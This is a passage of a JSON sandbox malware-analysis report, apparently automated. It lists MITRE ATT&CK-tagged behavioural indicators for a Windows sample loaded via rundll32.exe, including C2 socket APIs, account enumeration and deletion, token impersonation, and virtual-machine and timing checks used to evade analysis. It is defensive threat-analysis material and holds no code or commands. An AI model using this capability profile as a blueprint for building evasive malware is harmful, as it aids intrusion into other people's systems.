string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"rundll32.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$38","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"~DF1FFF3BB0A72C5A7C.TMP\" has type \"data\"\n \"~DF7A3AD4202DE4CB1F.TMP\" has type \"data\"\n \"~DFF578A21089EF39C3.TMP\" has type \"data\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$39","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: The input sample contains the RDTSCP instruction\n Matched sigs: Contains ability to delay the execution of current thread","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"rundll32.exe\" trying to touch file \"\\FileSystem\\Filters\\FltMgrMsg\"\n \"rundll32.exe\" trying to touch file \"C:\\Windows\\System32\\sechost.dll\"\n \"rundll32.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"rundll32.exe\" trying to touch file \"C:\\Windows\\System32\\en-US\\rundll32.exe.mui\"\n \"rundll32.exe\" trying to touch file \"C:\\70D629AD65716277ECDB508170D397CBED77E40A4845C23EC6589808CD2B4811.BIN.DLL.MANIFEST\"\n \"rundll32.exe\" trying to touch file \"C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"rundll32.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"rundll32.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"rundll32.exe\" trying to access non-existent file \"C:\\70D629AD65716277ECDB508170D397CBED77E40A4845C23EC6589808CD2B4811.BIN.DLL.MANIFEST\"\n \"rundll32.exe\" trying to access non-existent file \"C:\\70D629AD65716277ECDB508170D397CBED77E40A4845C23EC6589808CD2B4811.BIN.DLL.123.MANIFEST\"\n \"rundll32.exe\" trying to access non-existent file \"C:\\70D629AD65716277ECDB508170D397CBED77E40A4845C23EC6589808CD2B4811.BIN.DLL.124.MANIFEST\"\n \"rundll32.exe\" trying to access non-existent file \"C:\\70D629AD65716277ECDB508170D397CBED77E40A4845C23EC6589808CD2B4811.BIN.DLL.2.MANIFEST\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"file/memory contains long string with (Indicator: \"WSARecv\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"WSASend\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"WSAStartup\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"file/memory contains long string with (Indicator: \"WSARecv\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"WSASend\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"WSAStartup\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"CreateNamedPipe\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"NetUserGetLocalGroups\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"file/memory contains long string with (Indicator: \"wsastartup\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"wsacleanup\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"gethostbyname\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \" send \"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \" socket \"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall.WSAStartup\" (Indicator: \"wsastartup\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://go.dev\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"file/memory contains long string with (Indicator: \"RtlGetVersion\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKey (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"\n Found registry query API: \"RegEnumValue (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"\n Found registry query API: \"RegQueryValue (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"rundll32.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"file/memory contains long string with (Indicator: \"FindNextFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"FindFirstFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"file/memory contains long string with (Indicator: \"GetModuleHandle\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall.GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"syscall._GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"G_InterlockedExchangePointer\" (Indicator: \"InterlockedExchange\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \",_InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"&_InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"G_InterlockedExchangePointer\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp\")\n Found reference to API \",_InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp\")\n Found reference to API \"&_InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve entry point of a process loaded into memory (API string)","description":"Found reference to API \"AddressOfEntryPoint\" (Indicator: \"AddressOfEntryPoint\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"AddressOfEntryPoint\" (Indicator: \"AddressOfEntryPoint\"; Source: \"00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-311","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"file/memory contains long string with (Indicator: \"GetComputerName\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"file/memory contains long string with (Indicator: \"GetModuleFileName\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"file/memory contains long string with (Indicator: \"getsockname\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"file/memory contains long string with (Indicator: \"route\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserDel\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKey (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"\n Found registry deletion API: \"RegDeleteValue (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcessAsUser\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"ImpersonateLoggedOnUser\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"file/memory contains long string with (Indicator: \"DeleteFile\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: 